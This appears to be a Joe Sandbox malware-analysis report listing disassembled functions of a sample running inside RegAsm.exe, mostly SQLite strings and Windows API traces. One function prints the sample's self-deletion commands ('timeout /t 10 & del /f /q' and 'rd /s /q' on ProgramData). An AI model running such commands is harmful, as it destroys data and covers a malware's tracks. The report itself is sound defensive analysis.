Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

memset.MSVCRT ref: 00408CCB

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcat$lstrcpy$lstrlen$Heap$AllocCreateObjectProcessSingleSystemThreadTimeWaitmemset
String ID:
API String ID: 1592390033-0
Opcode ID: 9d4c7270fa02360d8387ec90dbeae162b2b84d59e8b28bfaa3eb736c390bda4c
Instruction ID: 971578dace80931ec5527b26863eca81062358470d0b15fb8bbd80e7cb2d12f6
Opcode Fuzzy Hash: 9d4c7270fa02360d8387ec90dbeae162b2b84d59e8b28bfaa3eb736c390bda4c
Instruction Fuzzy Hash: 07F15A71800158EADF05EBA2DD06EEEBB75AF25308F1044AEF442731E2DF791A18DB25

Uniqueness

Uniqueness Score: -1.00%

Function 004107CD Relevance: 28.3, APIs: 14, Strings: 2, Instructions: 325stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004107D2
strtok_s.MSVCRT ref: 00410803
StrCmpCA.SHLWAPI(?,true,?,?,00000104,?,00000104,?,?,00000000), ref: 0041089B

Part of subcall function 0040E986: lstrlenA.KERNEL32(?,00000000,?,00415A25,004254FF,004254FE,00000000,00000000,?,004162DD), ref: 0040E98F
Part of subcall function 0040E986: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E9C3

lstrcpy.KERNEL32(?,?), ref: 00410952
lstrcpy.KERNEL32(?,00000000), ref: 0041098E
lstrcpy.KERNEL32(?,00000000), ref: 004109D5
lstrcpy.KERNEL32(?,00000000), ref: 00410A1C
lstrcpy.KERNEL32(?,00000000), ref: 00410A63
strtok_s.MSVCRT ref: 00410BC6

Strings

false, xrefs: 004108B5
true, xrefs: 00410893

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$H_prologlstrlen
String ID: false$true
API String ID: 49562497-2658103896
Opcode ID: 04316544489357f2afa6c79bac0ca829a868ff856b9ec0809f4fe70a505de954
Instruction ID: 0b5926a7128f84a3b2f222f3571b1dce6d90bbe111d8c5c82d424c5efd5d6e05
Opcode Fuzzy Hash: 04316544489357f2afa6c79bac0ca829a868ff856b9ec0809f4fe70a505de954
Instruction Fuzzy Hash: 37C16271804219AFDF54EBA5D845EDEBBB9AF14304F10447AF505F3192EB38AB88CB64

Uniqueness

Uniqueness Score: -1.00%

Function 1B5B5D70 Relevance: 28.3, APIs: 8, Strings: 8, Instructions: 266COMMON

Download Yara Rule

Strings

rank, xrefs: 1B5B5FBB
secure-delete, xrefs: 1B5B6031
deletemerge, xrefs: 1B5B5F64
automerge, xrefs: 1B5B5E59
usermerge, xrefs: 1B5B5EAD
hashsize, xrefs: 1B5B5DF0
pgsz, xrefs: 1B5B5D81
crisismerge, xrefs: 1B5B5EF7

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: automerge$crisismerge$deletemerge$hashsize$pgsz$rank$secure-delete$usermerge
API String ID: 0-3330941169
Opcode ID: d0a43ee65c8d757d9063e16e7574d3220666983d4be0385eb926e458fdd0653f
Instruction ID: 389387e5f51f5236985df99b9ac9a6b5a0d4f7680fe6ae746dba374890c773fb
Opcode Fuzzy Hash: d0a43ee65c8d757d9063e16e7574d3220666983d4be0385eb926e458fdd0653f
Instruction Fuzzy Hash: E7712BBAF012515BEE059B19BD416DEBBD5AFC5212F0404BEF942C7201FB21F94A87B2

Uniqueness

Uniqueness Score: -1.00%

Function 00410BF7 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00410BFC
StrCmpCA.SHLWAPI(00000000,block,00000000,?,?,00415D19), ref: 00410C1E
ExitProcess.KERNEL32 ref: 00410C29
strtok_s.MSVCRT ref: 00410C40

Strings

block, xrefs: 00410C09

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitH_prologProcessstrtok_s
String ID: block
API String ID: 3745986650-2199623458
Opcode ID: 1a81c56778e5a514f09cbb8ab07a3d02e0e3386f1a59973d73ddf0c0ab6236da
Instruction ID: df4849ec62e33a5e79d91673b6abf48bfc807c7432add9134e53bec16debb989
Opcode Fuzzy Hash: 1a81c56778e5a514f09cbb8ab07a3d02e0e3386f1a59973d73ddf0c0ab6236da
Instruction Fuzzy Hash: 2041D779A40B11ABDB10AFF5AC45AEB77ADBB05749720462BB403E2550E7F8A5C08B18

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A5E20 Relevance: 26.7, APIs: 8, Strings: 7, Instructions: 496COMMON

Download Yara Rule

Strings

recursive definition for %s.%s, xrefs: 1B4A5E4C
misuse, xrefs: 1B4A5F35, 1B4A625D, 1B4A638F
API called with finalized prepared statement, xrefs: 1B4A5F1F, 1B4A6247, 1B4A6379
SELECT t.%Q FROM %Q.%Q AS t WHERE t.%Q MATCH '*id', xrefs: 1B4A5E6F
%s at line %d of [%.10s], xrefs: 1B4A5F3A, 1B4A6262, 1B4A6394
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4A5F2B, 1B4A6253, 1B4A6385
no such fts5 table: %s.%s, xrefs: 1B4A62EA

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with finalized prepared statement$SELECT t.%Q FROM %Q.%Q AS t WHERE t.%Q MATCH '*id'$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$no such fts5 table: %s.%s$recursive definition for %s.%s
API String ID: 0-1070437968
Opcode ID: ee373db9e8858e67ad36e18b1ba0ec5f35d7c97911b3f8ed77f22f05a554296f
Instruction ID: 252e11fcdb0a8dc0b581dbcc0053057a365511732be12eebeeb4237b01422bd3
Opcode Fuzzy Hash: ee373db9e8858e67ad36e18b1ba0ec5f35d7c97911b3f8ed77f22f05a554296f
Instruction Fuzzy Hash: 1102E2B59003019BE7109F34CC85BDB7BE8BFA4215F04892CF88A97342E775E449CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B519980 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 429COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B519A3F, 1B519D9A
API called with finalized prepared statement, xrefs: 1B519A19, 1B519D84
no such function: %s, xrefs: 1B519E8C
%s at line %d of [%.10s], xrefs: 1B519A44, 1B519D9F
API called with NULL prepared statement, xrefs: 1B519A04
SELECT %s, xrefs: 1B5199B1
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B519A35, 1B519D90

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$SELECT %s$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$no such function: %s
API String ID: 0-3900766660
Opcode ID: 0fbdf3c3bbb569f24a187c52a3de07e1548afe0886924fb28969c4d5e5305c11
Instruction ID: 791dbb314feed1ae5385d1c59becfe19553156ba35f812a615625713a425ff07
Opcode Fuzzy Hash: 0fbdf3c3bbb569f24a187c52a3de07e1548afe0886924fb28969c4d5e5305c11
Instruction Fuzzy Hash: 2FE1D2B4A047419BF710CF24D881BDB77F9AF88615F04492CE8899F341E775E84ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4D3800 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 184COMMON

Download Yara Rule

Strings

null, xrefs: 1B4D38E7
misuse, xrefs: 1B4D393A
API called with finalized prepared statement, xrefs: 1B4D3924
no such rowid: %lld, xrefs: 1B4D39F8
cannot open value of type %s, xrefs: 1B4D38ED
integer, xrefs: 1B4D389A
%s at line %d of [%.10s], xrefs: 1B4D393F
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4D3930
real, xrefs: 1B4D3895, 1B4D38EC

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with finalized prepared statement$cannot open value of type %s$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$integer$misuse$no such rowid: %lld$null$real
API String ID: 0-1477268580
Opcode ID: 177c141532b3b755865261c9be925ac8f27997911e56f7d85f79e9e301f7f54d
Instruction ID: 3b2cd21488c1a77348c817d867e1c13a69f09d89cf51f4129796cca164c766fc
Opcode Fuzzy Hash: 177c141532b3b755865261c9be925ac8f27997911e56f7d85f79e9e301f7f54d
Instruction Fuzzy Hash: 7151EFB5A003019FDB109F28DC91BA6B7F5FFA4315F04896DE9568B341E771E844CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00412611 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 153COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00412616
memset.MSVCRT ref: 00412636
memset.MSVCRT ref: 00412642
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,00000000), ref: 00412657

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

ShellExecuteEx.SHELL32(0000003C), ref: 004127E3
memset.MSVCRT ref: 004127F0
memset.MSVCRT ref: 004127FE
ExitProcess.KERNEL32 ref: 0041280F

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Strings

" & rd /s /q "C:\ProgramData\, xrefs: 004126CD
/c timeout /t 10 & del /f /q ", xrefs: 0041267D
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 00412737
" & exit, xrefs: 00412720
<, xrefs: 004127BE
" & exit, xrefs: 00412784

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpymemset$H_prolog$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\$<
API String ID: 1312519015-206210831
Opcode ID: 2d52401221631d3d1f354c715f94cbaa83706b91d1d0cf4e5a61c5fb4c4a708d
Instruction ID: 3185a618bdba808ef0e449a7a5eb983d9a54b3b1afd772efa82c745700822a38
Opcode Fuzzy Hash: 2d52401221631d3d1f354c715f94cbaa83706b91d1d0cf4e5a61c5fb4c4a708d
Instruction Fuzzy Hash: 685110B1C00258DADB01EBE1C986EDEBBB8AF18304F5045AFA545B3182DB785B49CB75

Uniqueness

Uniqueness Score: -1.00%

Function 1B5BA150 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 226COMMON

Download Yara Rule

Strings

segid, term, pgno, PRIMARY KEY(segid, term), xrefs: 1B5BA1FB
data, xrefs: 1B5BA1E4
idx, xrefs: 1B5BA200
%s_data, xrefs: 1B5BA1BC
id INTEGER PRIMARY KEY, block BLOB, xrefs: 1B5BA1DF

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s_data$data$id INTEGER PRIMARY KEY, block BLOB$idx$segid, term, pgno, PRIMARY KEY(segid, term)
API String ID: 0-1009905541
Opcode ID: 1af40d0754545ef80a2465a3bd91311787c326faaef44ccc71feca16b5fc4bba
Instruction ID: a52e4a85186126051904bbd2d5fde67edc2af021f54ee9f019213d44b6f2427e
Opcode Fuzzy Hash: 1af40d0754545ef80a2465a3bd91311787c326faaef44ccc71feca16b5fc4bba
Instruction Fuzzy Hash: 6071D3719003109BEB145F24DE88B8B77ADFFA4256F00482CFD8697211DF35E958CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1B5BF370 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 196COMMON

Download Yara Rule

Strings

id INTEGER PRIMARY KEY, xrefs: 1B5BF43E
, c%d, xrefs: 1B5BF469
id INTEGER PRIMARY KEY, sz BLOB, xrefs: 1B5BF524, 1B5BF52C
content, xrefs: 1B5BF49D
version, xrefs: 1B5BF560
docsize, xrefs: 1B5BF52D
id INTEGER PRIMARY KEY, sz BLOB, origin INTEGER, xrefs: 1B5BF51C
config, xrefs: 1B5BF549
k PRIMARY KEY, v, xrefs: 1B5BF544

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: , c%d$config$content$docsize$id INTEGER PRIMARY KEY$id INTEGER PRIMARY KEY, sz BLOB$id INTEGER PRIMARY KEY, sz BLOB, origin INTEGER$k PRIMARY KEY, v$version
API String ID: 0-3918257174
Opcode ID: 1b89c150466eafac2c076d14f87496b73759d5d9a535080dd19444d3fc4ffe5b
Instruction ID: fe9846d299fa908f5235d93dec90a06311a9b53c32abaf142ddf4985482397f1
Opcode Fuzzy Hash: 1b89c150466eafac2c076d14f87496b73759d5d9a535080dd19444d3fc4ffe5b
Instruction Fuzzy Hash: 145124719003119BE700AF24DD85BDBB7A9EB84765F044628FC899B241D736F909CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1B5D8F40 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 177COMMON

Download Yara Rule

Strings

NULL, xrefs: 1B5D9148
%!.15g, xrefs: 1B5D8F83
NULL, xrefs: 1B5D912E
%!.20e, xrefs: 1B5D8FF1
%lld, xrefs: 1B5D900C

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %!.15g$%!.20e$%lld$NULL$NULL
API String ID: 0-2115304644
Opcode ID: f0bcf32c68412fa1ee37dd0a3567ef71233d048655c39a3fa3778f54ab29b059
Instruction ID: 1d797fbb47e695a8d10e09cbdcf73a9766c8a2647d9af2cc262a0dcea1e5e829
Opcode Fuzzy Hash: f0bcf32c68412fa1ee37dd0a3567ef71233d048655c39a3fa3778f54ab29b059
Instruction Fuzzy Hash: 8C5145799047105BEB01DF289C42AEBB7B5EF95304F048E4DF8D967202E335E94587A2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A3420 Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 392COMMON

Download Yara Rule

Strings

ATTACH x AS %Q, xrefs: 1B4A346F
misuse, xrefs: 1B4A3552, 1B4A359E
API called with finalized prepared statement, xrefs: 1B4A352C, 1B4A3588
%s at line %d of [%.10s], xrefs: 1B4A3557, 1B4A35A3
API called with NULL prepared statement, xrefs: 1B4A3517
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4A3548, 1B4A3594

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ATTACH x AS %Q$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
